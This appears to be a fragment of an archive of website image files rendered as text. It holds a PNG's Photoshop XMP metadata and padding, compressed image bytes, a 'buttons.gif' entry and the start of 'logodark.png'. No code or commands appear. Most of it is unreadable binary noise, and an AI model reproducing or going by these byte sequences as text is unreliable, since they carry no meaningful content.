                  <stEvt:instanceID>xmp.iid:87f5b185-7c2b-bf41-9a63-92251b174a69</stEvt:instanceID>
                  <stEvt:when>2014-01-18T22:30:44+05:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>converted</stEvt:action>
                  <stEvt:parameters>from application/vnd.adobe.photoshop to image/png</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>derived</stEvt:action>
                  <stEvt:parameters>converted from application/vnd.adobe.photoshop to image/png</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:a7a567b5-4d65-4d49-aee6-122e3ab0159d</stEvt:instanceID>
                  <stEvt:when>2014-01-18T22:30:44+05:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:687fa8f0-b0ae-3349-9a46-943ff15ae344</stEvt:instanceID>
                  <stEvt:when>2014-01-27T19:30:18-08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
            </rdf:Seq>
         </xmpMM:History>
         <xmpMM:DerivedFrom rdf:parseType="Resource">
            <stRef:instanceID>xmp.iid:87f5b185-7c2b-bf41-9a63-92251b174a69</stRef:instanceID>
            <stRef:documentID>xmp.did:326bb76e-2b8c-a44e-a308-15d83ac59b46</stRef:documentID>
            <stRef:originalDocumentID>xmp.did:326bb76e-2b8c-a44e-a308-15d83ac59b46</stRef:originalDocumentID>
         </xmpMM:DerivedFrom>
         <tiff:Orientation>1</tiff:Orientation>
         <tiff:XResolution>720000/10000</tiff:XResolution>
         <tiff:YResolution>720000/10000</tiff:YResolution>
         <tiff:ResolutionUnit>2</tiff:ResolutionUnit>
         <exif:ColorSpace>1</exif:ColorSpace>
         <exif:PixelXDimension>403</exif:PixelXDimension>
         <exif:PixelYDimension>241</exif:PixelYDimension>
      </rdf:Description>
   </rdf:RDF>
</x:xmpmeta>
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                            
<?xpacket end="w"?>��" cHRMz%������u0�`:�o�_�F7�IDATx��i��Հ߆APYE�Ṵ/# FQ�����01�bL��-1�c�n���0�q�FEqA@*(Q�1���ߏs˩���t3�}�~f���9�ݧ�˹����49
�
�%�V`-0�x<��q��Z�S5v��(�]J��;	�+��y�xXnޗ}�q��
03�=�ң(��Xt&m�������-���K)p�`P�ˡۖ�b���|��=���
`�$�%���,x�\4�i���R�a��"�K�;p.�1������L�a0�s�3̕7=E8���%p�yP3���^Q�U��L�٥:��F��«@[��CT�?7׶5��d���S��L��41�#�d�^Q�.���=���"��ǁ#����<�m����<�{h7���V�w����|}����B^���<�����t�c��������R'�]6���2W/+�c^�2����3��]�=f��5��Ʋ��t�G�a�EV"�hS�s�WEx`ݿ����=�W�x�n�]�]�r&�MK�k�w	���y��aKOPv.D"�Fo�`,0��9�4� Ctqh\t�gKQ�T
��l���_$(�#���aKOPz���ԝ8|	=���w~X��F�RjʊڥR���i}W��O�|yqdN��'(�MO��� �a�����|��1	�&���ڥ���S$n<iV�����a���>�݁�<%|?a�Ìc�,�k>[�i}�
�K��Dz&m�7��ha^~�it���ׁ���cs�����N$?���KMYQ�T�ۙ��y�y��'���z�t������Ðվ�#1�;"�I��njʊڥR��4�Ͻ;��do�$D�>d2�5���3a����y��v��K�ޜ�V�"�#���R��z��
��X�,�z��},5N&i6��wܠl�	�������6�B��>�(�%�1�#v!�v�v��3��7������Xԓ�J�H>~�,VY��o��M��j;y��1m���E�i��μ�Ү��w�K��D���#M���#t7����'k�u%���-������b�L�>PQ糔�F�RI�g2�1�@�!�l.�E�1��d�k�<����g�2_g�؆_Q�T��F�3��{&�s��w62���2�����"�^MYQ�T�ۙlCv�m��M�12�0:l�)d��ږ�&<�O,�@Q�.��:��6s��S�% �0#k���e=�����c�'��D1w���v�vY��d/�O�{�c�md|jdz���P���*��o�{��vJ�C�RI̙�C�xIt�2����nj��񟀳����7��.n��l�)ŋڥ��3	��M�P��2/6Ĝ�b�:CN��hKO������ׯ.G�e�K�@(��s88	�<x�y�AV�/wU�}��g
�3zf@ݶ�*��雑}��#��0U�K�`���L�
��,�?��:[MK�
���w��"3�a��;(�8�^�j{�M�]�]�3�>}F�sM�C�=��ـ3����=F�X�����W����s��*A��>6�7
��j�b���!9�?.��OP��.@C.��S�s$�fX�v!sN�K���e����,$����@?�����:�=��U����p' �zM̹w�Iљ���,� ������ӋN�m|�.���.�Τ52��
�]cZ)ې]+���^7d��x�eQ�����Ѽ� ��}��X�2��7=� yПF��ߞQ�T���������#�	�}�Ԟ}��R����O�cSW1��8T}`��
����S9�?�z`/�k@ߕڥ�e gr��f֙�QH���]�6!ɣN�&�'�p*H�-��%�!� �Of(��9�g�nX�(
�.g�C$�$r����>������O�q�M]��v?)�/�\`DL��C��y��?Լ��^j��]�]ft&)�
L��m�zϏ�� ��s�VY~x[�
��?G�(�	�|���3G��ŜG�q��|���A�F�L��B8o;��j�j��9����H���VHDA�]y��>``T�r6u
����}�.��Si��b���d����r�1�b�ۀ!��xCA��4�4�b��R�T�Lܙ��ܚŘ�%{��۩Y@�,�[��H�=�|PGs���/�c<��d)�l���|�3��$I[~�'������vP)�]�]�͙4���P��1�~Yd-�&�|p�26u�'��负!!�n:g��$��M�c���p�@��y�a(��O���}��v�v�Wg����?9N
Y����u��Fj�~4ϠϦ��b p��w�m��Y������ch��a�N}pcq�i�l�D�R�2���k ~�F��F s%�����e��H|��冚��846C�,e�@&K{�����;ޡ�?�ڥڥg��w2/�J���N�?9��	�D[y���6��_#+Vsѓ��xA�PF_d7צ�6H�.+�P�n�	��3��8a�� ��"c����P���=�Y��j}6u٦01`��M+qa}�ɞ��͏����j�
�KŚ3yδ�#���E/����w��d�Ȗi�M]�F�I�l�>�*�-�
v�oḋV��.N�.+4B�m���̩�*d˓ۑ�9�R~u�
ަ.�Y�ʋB[�Іa��{�D�R��3I�
��e:'�d���ł�����u٦}����~]�#<����$j����	�
թYʵAV����r�w9�u��w�f�
�Lgq�n��"4�����]*��Ld3Ũ,G�������U�A��8l�O2wD[�� ��Bx)j�j�E�L���E��p8�I��6u2���2�~�
�%쫦��]*�����ِ�dd�\��#��n$|*]��l%�dd��d��3K\��}��Pd��G�R�g�pp/p�7dj�zߌL���g'��M]��Ђ�F��Q�#��w}ܟ��ڥəl"��|g��7�n�ߖ��"�e¦.�z*���ma�vHhn�G�R�r���S���%�^06u��q3P�<�Z���X�v�h��ە].���vk��-9�E��"w ���K�K%/h�wr|�x	[v���#�����S`�yh7�O�v�v��3)�D"`nѯB)�Z�R��s)��(�LEQu&��(�v��;�<��.�~i쏤_�l��S�Ȣ�s�����)�<ldQ٥��j�$Lwܘo�����`p��V�j�w�#�vl^g��!	�Y�������U��i��a�~��@5�xx���S�2�s,(��:I��R���<j����yɤ����<71Hp��h�z����g胄ю˓�]LEup�'`����e��e	���S9�_��M]
���e�������}[�>�����t/p����#�'p�~��y��N~	,��wy�{��]�|Ɵ�!�{�ؐP���O�]�]6B5%ŷ1�'��!p
�ߙ��X�zm�Q�:��	�{<ɞ9д��Ls��h�e��K����;l
�b�����<
k�9�K��Pv��\���u�(��m�S��ȤeR��I�4�g�4�ﯝ�Z���ԝV�T�,
��9��f�1fL���C{30X
���|S$�� $�E
�~�%d�V$!���w[$�s\�#�V�Q@��^�G&E�.�.��.ՙle���(�\a�7��Tz6��}�}�!�}/CB8_2��%��B���~�d�^�R�h�R�������Y�x�c5��N����2�”�m�L��#dB����f��P98C�R��R���;��HdV>�d��tw7ha
	({�M��9�m4�ff���	{,t.Fة]�]�]�3�~8Io������'�(�pxG'�(�i���)?G"e����+m�PT�K�ˢ�K'48��!LY?l�RG�\��#�q�[�uB��R��L�9�S94&��z��Q�T�,x�,)/&��i�;�;š.u$�>�7��Ac�Ÿ�Rs?�"yN1����rH�!����iߣv�vY�vY2}��M$�i�ٜӸ�s��9{"�$�[B�Ў4���2��61�e'�R���Y�|���3d�	y/�������]�]��F�rO�
���ёL4-�'��E,9Z[N$΅��}+��0�{:;`����.��]�]�]�|�P�,~r�g�<�IOjfzh["�������>ƽ|�����H>����a�"��=�.�.��.ՙ�;|Z���hq�B>��&y����A��❐�{;8�I��D�R����J
M����5�Ó�np���HDJ�d��������!�?��$��L�K�ˢ��d��<c�H������c����[���*�;���l�g��7BꋓZ���ܫ�v�vY�W[�w�>���5@���"�p��%F�4�Kro���t�$���bVbaZ�� ��}Ԝ�.�.�י����e� c�����i�E�}�D���fW׫s��{�$�=�@�m%V��I�4
�K�������Aq�i�e��vwd�h'���#i3p�yecC�o=#�[�Y��F�/�f�K��b�KʹX?F��9{ؗ��X+
��ks�Z���j�j��`�l�n�^9�v�ظ{;��hhQ��>I�E�!�B��Kj�j��`�l��H^g�[�,l:�@�u�^�{��B���h����=~��"��jK��v�v�.K�x�$'ųaSW!:����)�T�}$,2
\Y@,�Rd������໡��;;^����e��A�]�K��b���FDs�U��Q�πa�l����90=�l�(����I������k��⡭神k�.�.��.K�_��B�l!}6u����?G2��)�ق��o���ך�Q&�g?�fEoV�����$Z�'�ޜ{
����Z�܏��P�T�,
�,����l�M]�B'�q�:`������$�i���!�0-@g���#~��	��Ą�-�Ȝ@���u���.�.��.548��B�j����M�|S��N%���{�W���0��7�
g7�,�w�>�2~�m�}�ܹ�ݼ�^�vs�i=�]�]�]jhp~��e���<�G!"�}�O3C
��w_�v�iх��\�38����T'TƏ?���p�t�O!1	��T�T�,*�Tg�?N�#+E�6-��LˮY���)�-��,O����E��3H��#��a�'@�(�����T��F���7�Bj�U�]�]�]:�\I��aSW}2̴0�m�m�§��������f�*��,�Z�E����w���P��h*�0�鹷�\�Lz~Q������M�R�X�2�N7Ľ��J$p�1�恽�S�5�۴F&������n7'ܸ�[o^�3���9�~�9
���cs�t�i�O�w��H�mד&m��~K���<ldQ��Og�LEa�~�!��)��~����gDU�k$:��C���||�
��͞�����#
ms���`�c�<�^Zg8�,�����8d�m&2��2�Cd�vlD?7��M��C��y`�{J�O�}����|��Ln�v�v�=�e�m���ۚ���p���Á]�����8��D#{2�;���iy�4-�R�j���D�G�x9ּ��a��泷0�1��Gy���g��.��{X���7�MKj�9{},��]�]novY���}���;�n�~��&' ���>�\����H����n3��#O���:$��*�=�$S�����s�-Z�
��T�T�lpv��$9^3-�2��C����=x3�}�&���F��N6�����-�N*�,@G�v�vi�.5489^2]�{6Y����<��b4�h@������Rd-��V!�Nj�j�
�.ՙ$Gs����ֈzڛ�
w�.[���C���w�52.~A���섫ڥ�eQڥ:�d	��4N�>�E�>��;���<~�#���]���r�]�]6�TgR�i��Đ�5���n�cj"Z��#�h��#
�!+��.�.�.ՙ-��Ԣ��ld�֑�VQV�n6�id�.�����4f��]�]�>�9�,��46uq&+��g��y����N.E"_���_!�aW ��/"��k��l�i�B�@�R�2oƢ�EWC�`-2��p��6w�a�.�D�����m���'Q�TgҐ	k�+����ڥ�e�9ǂ�Ku&����������P�竾Ee*�K^T��ڥڥ�Τ�p�any�'9�o̓^e�o��]*V�ր�(���3�Y��~�&O�l�REQ�g�(���3QEQԙ(��(JPJ��%mjB����ߺ�9Ǫ=� w�5��EQK���~��(J�����3&';#�V[b�l��s�x��|��Ήq���UW��W�O�(�R�8���"�\d�j��Y{�
ަ.EQ���]2��2x#�����όL�v�6u)��(�I5����Fv�|2��g�C����L%�Ʀ.EQŢ3qs2p+��r�0�^�<�56u)��(y�o������H��ssȸ�
�B�΄��.�p��}��	c]�=�B2�Br.�^���u*7�r�0fyEK�T3��h�xx�uNi�n�d\��I98=���̍Q��ԥxZɄ��NG�t6=�@S�6s����ʵ/�ϑ��9?xI[��}�הS�g������P�#�{����W�8�w.�2�}�ԥ�]�)7q�Ĭ��N�i�bϹ��PL2�/	p�*7�r�ɹ����]sJ+��V/�Y^�7�P*�,��>���2}�ԙd�p?�k$��ld�(�PIr9Ql�R'������n*�30;dqV�M��u7�h�ג��^��#��qD�)�\���q0w�Y^�&�ܘ���SZY�O�se�j`�ӝ>�t��Q��ԥ$�z���4?G��jS~��ޏ:rP�rG�2Iȝd�E�_?G�#p
pz6G�q*��Ӻq���h�$��6H��	y�/������k/v�Dz� �wo�_N�0q��,6��g�8�܀đ{2�:	�HJ�#�
#;	�݁�H�ʔ߃� k�ft>}�a�Hn���=)�3��q+w���x�D�{!��7�������9s}N���}�X�Ms���rݕ�9F�T������E>N*��*#�
#?�q4��sӾ1�+�/G��w?��A���De���vS��^�^1C(n^3����T�ޖ�ב���0�Ր��S&��s���AM�@���țb�/�=��x��0��Y^��Ǒ6���y���z��:��y��4�|�R��sp���t3�	�8�TxnV���}
�l��[q��D��T����*���1�dȬ
2t�mUX�nΥfhx\�~�ֺޏ�Y^1��HʀW�)�t�k���qh��/�"�ؓ$E�1^��{8�JױN��Ƒ8\�x'`E�'w
5����"S�Q�(��Ÿf��$�#��~��W#7������[Gݹ�\���:���fNi��c�W�O�Y^1�4@���SZy���V��4DgR^>�ܖ���#�+�.q�RV�wa��B�
-4���L�8�b�i��\���Y��;.�А���O��k�G�5���C��\��+r�q����ǻ@_d��q(���������V��_)����@����36!Y
������-2�7{n���Ǝh�?aA�L�>�:v���T��.��\�ir9�\\='�j�ϵa�N��J?7��b�ɤ�C����f���c�	Ⱦy��Eơl�SZyq�k�C�rQ�3�f�y�r6u)�x�£3�8q���W�����ޖ�H�g�hJ�����F\��38��r��{��f�wc�W��SZ��ǡ\��"3�/�4Pg␊)+�<�M]J��v�m�E�oQ�@��:Ƕ+ c�N�:��:r�^�˝���)1�sJ+?���O��c�W�;��2�|˘�]����SZ��>!


VB;�,-ڏ�-<���o4�sm��r�+׏�!{�0fy����Yk�4����=E��%ȶ� +��C&�h�A�����|��-���Iz�����Y�
�sJ+?��b`(0�'�bz%:b��$�R�!+��;�<�DnM�?�Ɖa�^T��^�R
\4fy�=�Y��vc�W8E�"��Vj�B���tBu��||F9�f�MTW���\�c�WtB�h6�)��H�E{&��D魨QB9��:EQ�h�DQEў��(A^��	��y���/Dў����^`��u���D��ѣx����T��Ȯ��G#yi�^��u=��O��(C���gbK�b�ӑ�?:#��G �F�����UnA�s$g ���,d,v1�f��g�)�3ў��"[ϟFݽ�V��C�
�I��%*���9���E�?f��'<g�!{����À/�������L�g�"�p�馢;�ܛ'.6�:hA[�;dp�Z���7�N�zŕ��~��i�O��}Im���/��L��¼�`S��?�ҋ�M����f��^�Ԓ�W�-7��,�S�;���c��k'y~�%�\?G�ɑr�/t��;
�������D{&JTG��Z�/z���K�=��-�g�A��r"*�Prݲ,\r΂�K.X�d��C	}��^�9H���>=��r]2�y�x{@��S��[������3��e�ʃHb�S�qPg�(Q�K�4�=p�7�<$�'�SN�.��`�+,\2�]h��%m��s��u��n*�T���P����U>׆�_j�8^��I�����c;�3����	\OݜB�G���p�ɷ���A�ԥ�cuS��n*������+�5�r����]a*���rWx[�!�:8r�4��|ʄ�{�ir0����"�M���/2�����Ȳ���g��1�u/��8�w���C�v&I��8[�{8�ܼ���@�'�i*7��9�2�)$����\��V0�	C��E�3���?L:d@�K�Ԩ�k��j��'U��)D���\#���T�m���F�-~�8�S�i�[�/�k?3�+
��l9ۓFs�o�8�JױN��Ƒ8\�,�{'`EYG��!�,X�d0i��%�Ϣ�CLQגk�9r�5z���I.Y�J��D�_�k�j^mp�O��n�V��I��Q7�b.G����@���e'!�a�cx�b�-��vWs������36>��S�Τxy�����=7Q]UcG�/X8C)���WH^�����?'r�$�
_h��ֹ���(�����|Z��bȅ�y�Yơ�+�5���8�IF�q��.'�M�K���Ф�H~T"kNex�|`6�˾a�b�w6��>
ԙ �	l�\���g��!ױ��v�M��pp���L�˙�2tȀ.�b�t�2`��v$�ܡCL�+4tȀu��w�,7�J9�
S�N5�wr�|��2<9õ���0���[��#���1�`�N�x��84\gB���N��ԥ�G�-<ʨ	�]`^�!kܔ!)fO"׽/���nH��HB�u�ȱ�Xh�.���V�\J�K��j
m�z%��q;p!��~d�}a��7�7k�rKM��G���84L44X	��ƃoQ�@�Q�sZՙR��빟�r.z���9�~S������	�c��kk���	"�.�oDB�oaxYi�k��-�x�>!�L%�#q���Ѵ��Qf�}d��F��ާGYn����T\�~,�>$��9��H�^vhGr�p�W��p	��c*�T�!�|�R��%H��-�����_'i2��i1߬rB��C9��e�"�/��<�h
�R��ϼ�ש��3��f�GeQ(�ɢ�O[���������]�u��G�ׂ~�ܚ���C
��\r��/�	�>������H@�	��DHUVޕ����������g,?n��DuU��g�Н��DB3-*!{&�������6�A#ܔ�@�:%�3��X��H�P{O����j����3Q�&�V�8���h�y��9_��Q�rB��DFC��7R�l�Xmz%�ٖ�ͩ^�r%^��3�(�tE��W򆓣|�S�:9�?"\�s����������U��H�:|��(ys&�+9����O@�w9�#ޯ��3Q

�9��̣�u2#�KX�#;vx�9�C�U��:�T�Wl�R���$��)����T���'|N�lr�%��h�D�7�9�3�M<���9��U�D��{A\�Wl�R�a%<�]x�@�ފ3�9���G9U.=y�S��$s�+J,g��+�3��K��_��)�^!*J?�S�S�d*Ng�hr��\r�
5��ļ�u�dY㐃:�IF~9�%%���[�RV5vD��������]���hx9�]d�P��$�L�O���|�!�������3
7{n���Ǝh����@0��y�s��5��k��q���7�w9��O�F����^L9�%:_\�n*�F�c�9�����}5=wf����̑89�r�qr�?B��3��Gn6�ʝ��WU��&G�_E��Ll���G8�$$⨍Ϲ�ԝ|�K?�:�ׯ֚��f�ۑ���S���k�"�;��Ǒ;��#WQ��L�v*Τ�(�zv;�Y�D	%�P� �ِ/�B�M��n�U��,������f��zNu���\EI̙|�@e�\�+q�M]���w�C�E���I�]$��c���30#��/�-��	YHp+����9�)����������Q56�6�o1�.Q�!WQbӐ�L�q(�y9�8��1//����:9l�q$*�Ldb�5�eH�;g8��9?!�ʳhN����(�L;o��H�"����5��)�_׹aH�Ҟ�k.��^� �Q�c�vC�Sr�9�da��-�[¿��ͯ\E�LC���6�đ�i����$�v��#�}HG2�~5;ƾlq}
��$�P9EQu&�e9�.ǵ��F�/2�^���:�F&���p�������kn��ݡ��H"TXQu&
�qY*�q����q3	���:V��Suu�{����C\�c��ש���_�mG}<EQg̑��QfR�������ks�5�C4��d.�'��Rdgߥ>�VE�I����X�K=�9���ƙZ�զR�.��f�nE"y�l����22w�r��I�
+���d�g�ǑA�P:��P�"�F��R;��$���~'g���өp]�P�Pғ2�wB�EQrҐC����&!ۛ�p9��mV2�H����
�oME|CB�Z
|�T"CoA֘��rnW���Q��(���$�C�KX��T��W�J��i�&�(�
44XQEQg�(���3QEQ�J��d��l�
(dž.EQ��t:�߂�(��g�%���z�2d�C{d�u�V�o!���]�>K�X�h.xEQ��q&�߈l.�>�u�Td��j$�Rp(���?H^��ɪl�REQ,8�6�2$�g9�
��$��lY���Ǣ�m�
̴�wAr���iE͖�idQ�2d��{'�OX]�EQ�I���.�]��H&w�ڝ��"�S��'�x�	��1w	��JTW�\ӦߞB�(9;�N�ذq�|�	�VȚ5���n��ڥ3:v�U��R�w�+��I�҅�KQŶ3Y<
��u��`g�uO!�3��Tvm��9�I���:�i�o��d�x���,[�v�kz��I�~}hݺ���y��'|^H�EQl�3���S�\�S���q���/$�y6l�
�K������̪z g��l��̪z�V��\fd�.EQ��dg��7�'˵�#QWn�@&��2\cSWP*���ǟ
}��?��+
H��(�Ugr�6)�e[�k��m��D,�
�+���~��@�{ǎ�q�1c8���K�Z�����62#��o�a~��t�}��h��ס�ҥ(�R�d_��/�r�r�S��@"����+ǧ�����4P�n�vg�]�ҩS~0��<��o,%�N�@����ԱC������`v�ڙ����͛6ӬYS�ݛ�C�f�aC�s�nat)��X�I�:%�ϲ\�!��׀-��c���p̆��r�[�����ׇ��/M��@���ѦM�ڞp����ߗ֭Z\DW߾�k9	��-[~��V5���:�{oeP]��(֝I;���Gg�v���;�X��������?�Z �J��!��'�[�d�s/Ф�	����+��ǟкU��Au�\��T�����U��iԨ�۪iܸ1۪�ѤI֬YF��(�ug�"�|ş����ͭY���T7[��V�V�����e��'��ޕ؟��,�%�V���^�J[յ���⽕��ۋM�6Тys>]��:v�U��֭++W�b�����RE�J#`=�!��-�j�g�iO��+����r	�ѫW)��u�[���K�o�;�fd���jҤD����F�=��_��t�ԑ��ѡ�n؟�mw	�KQź3y�~�2�|Z����#���M]��ڵ3��w(��N��t�[�\�*Q][�ne۶ml��Ɩ-�֭[�6�պ�]Q��w&K�f)�0u7V�����d��ײ� �wۭnǦY�f��4iҤ��V���ٶ����J����EQ�;�k�A@�eS7Q�nYd�E6f�æ� l�ڥ�ƍ�li���׭��_d�֭�{3"kC]�{N�u)��Xw&"[�W��o�lY��s�d��K%�$�
@�����CǺS8�λ+�c�|��믿f����/�
3�����P]]M�:M:�f[u5�4l����KQź3�����?p���H��F���f��Pd+��r贩+�jق޽{�:ةSF��ʕ�x����K�ԉ��һwOZ�l�]|`]�T�)�t�L��iѢ��=h֬)}��b�v�3�@��(J�8�/��go���9��	���C��z+�56u���T*�n�~}j\�r۶n��t/.Z�;��)��>�6�ѵm�6֭_O�T�tu�/�����&�
~Æ�|��Wau)��XŽ=Ȇ�+#�:אS����銳���O�F�|`��Q�޵��I���.EQ���8|�L�_C�Ը�"[LJ�m��F%0u��]=zT��}��U(�EQ�������F2ކL�7EBPK�o���ˀ[�3��M^!{�=����e+��>{D��=�E���"кU��Cz�ؓ�t��>�_��z���ȃtBt��U_�.EQ���i]���WQ%g2}�����������O�g�Y�K���J�x�N"�J"��OE���d{�V��S���ːH�{'�OX]�EQ�Ù�C�@�y7s��N�ÙD֕g�(���ǯ��	<���r	�}�Z��ԥ(��Xr&��U�=C����R�M]��(�Egr9�˧�2�Id��}�� ��%!t�ԥ(��Xr&=�ɞ�m�"[���Rw[����zm�REQ,:��<贈���S�_`^^N�צ.EQŢ39�s�$�H&�C6gt30�^��EQ��dwϹ\[�|��9�"�^��EQ���;��%��[��ˆM]��(�Eg��s�o��a�_�kS��(�bљ<�97���#�}<ǂ�c��KQE��LfzεA��Av���䎀zm�REQ�{��d���\�ʀ��U�#�G���<�V�kS��(�bљ|��ݘ��:ޞ`k:&�굩KQE�3ވ�ׁ�#ȩD��.EQŢ3I��Dˀ�"귩KQE��L�~I�a�4�N����m�REQ,:�Tp����q��KQE��L@�ú?������EQ��d�oq�Ȑ�7	ދM]��(�Eg��w��e���$6u)��(�	�}�,����y���EQ��d!��V���7*6u)��(	4��:dN�+�4�dS��(���t:�߂�(�M0�(���3QEQԙ(��(��?l�.yp/+IEND�B`�images/buttons.gif000060400000005770150710775200010207 0ustar00GIF89a�;c���������%%���������{{z��떋[`�>����
?`���j��͖����HFH/S��hh��f��O����񐠳//0����Ό��މ�`Ak���1GaRRP������!w���Ҥ]�}*6<Fx��P_t���>�babucI@><mos���  ?/������!�;,���pH,�Ȥr�l:�ШtJ�Z�جv��z��xL.���z�n���|N���~���������������������QW�����O
-
N���
���e
U��''�N
'g
����b'#�
�PC �K�5�W&��S�&�O#�#
L���$͓#5u>IPB�����*�p!���H�X�`��D��!/%A���%��t�r�ɑ.����D�7[�!X��j��D�֮(�
��;���L���A.x֠��"Z���E��I�s� c��鐜�vm۷q����w�j��,�ƾ&7+��`g��!?Q|c�' J����A�"E:	�!h���.�ڀh%l�@A�4�<eÃ��
Y�Q ���v�;��-XM�83e	�$���=��#x���5ʃ@_~�
T��a�y���W#ì'&�5�$�2@�K��"� �L��W4�0�`�p@�‡M`C	��`C�D�3�pM	%���%1B���p�mT�C�m�DT��	��A	H�0Z�(A�Zk��f@4� �X��!�X1�	��^Lښ-q��JYwDL2)рO��$�s�yt�Pv
H�]���A�%QC PB/$C	 �XJ��ԑP55�@.��Ć0������kA�B	+,�D����R���#h�^rx���
8
qC	LQC	�>Q���B�@�AACܜ����K�"<PfyZ�6T0D�`�LEk�Q�P,�g����EL�I�p\-���L��(L4(+�	]�U'�ugn)�P*^M0B5P�Sϖw^z;��^z/\��dC���=
���.@�h�$پ�Mß�����J[m���=5�m���"���0E[K��/1#�#�`CN	�5��D�0�?�y矇^g�9�D�_R�K����U���	�[
<6!�q��/��9�����"���@�������5�A���:���?k��E�X�А��f�i8�*j�J�
.�Ƅ��
.p�����@ �(�t�ږ��8`E��<�W�e}�j�lݣ���oŠ7��
h/'\Mh�t��-F	�\	���<D��:),a�;ݜv�KX1yD`�&��IA&	�Ũ�IbE22@��@AA	��������%L�_�ECFF<l�wC0������c��͖��hgg!��ʧ
`
/�A�ÀR�@	A��=v`�iO��򿿁Ѐ՘,�/T:PA`�@��$4
���l`��L�Hh���o+D�(1Qt�
l#����<��hP�T�1`��HA��O
/�'v�"T�y�eV���4/i�h@��& =R̈Fl�]J`2��
;28�DŽ�%��$'ٰ����SG�3�)@��z�hJ�8.�L��T8��$1��R�F�| !`�)����o�E"����	Olo�F�H���R1�%2!(V[���ׁ�����0��!4���o��(�k��-D��u�( ��̽Щ�qZ���'<g��n�s�lKc��:�G���v���Ƥw�DJ��Ft	�],�
5*��' ��;�~y����(� 
깩	���tq2��B	XЂj�/
� ��$����enF��Pғ��x�s<&%p�/ F��OD�@[+= U `.(7��;#��$�j�	��U�ocH��B��x�jB
T[�CV+��*p��x�I��f�ʈ����P��7�;����$'�X��k����K��G�$��s�;v�lXu	U�mw��=�����KKJ��.��u�ӝ��	�2�R8��m��@	�a@TW�����.�{��	GM�R���y��j$�H��4`�C��<�`H��G8��	�����1d���e�v�0�XD�����^�tM��Z��+�K�[z���	��R
��"�%�:�)!���^�¸��K {���e7�(�J������
D��9@k���Kt�!��}���L��v%�O���Ps�]�����I5JF�C����
P.�'�R�
���P2Ȣ��4P}DA��۫���^; #@���p�8@B�#��aH�/�:¨�a�4d'[*EN���a��W��:Cq0��	U�@�@��Fr��������$��(8��TfQ1�	/�����E���g9&D���6��B~�GB�]�ة�SQ^��;!��@T���m���H�_�$зD0Ux�I8ՏB`@PG��n��[�48کP�\��Db��A�i�]�/�q��/{�^�2*0
T���+m	���U!����\Q�h~eH!)x&���&v{��=��-�!����S0�s�2Pu���t(}G"H�8�v�u'���udž(��V�gQ(f~�D�	�H�������wxM�x�b�/G	�P���jˠ��|�.`WhXW�U�
i�`	P�m8��~�-|��~8�\�VpH���ЄI�"�M��p�%��x�E
���o��ȉL�j�6�����a_����9��N�"�w��X��x��������؋������8��X��x�Ș�Y;images/logodark.png000060400001627047150710775200010342 0ustar00�PNG


IHDR~�Z	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
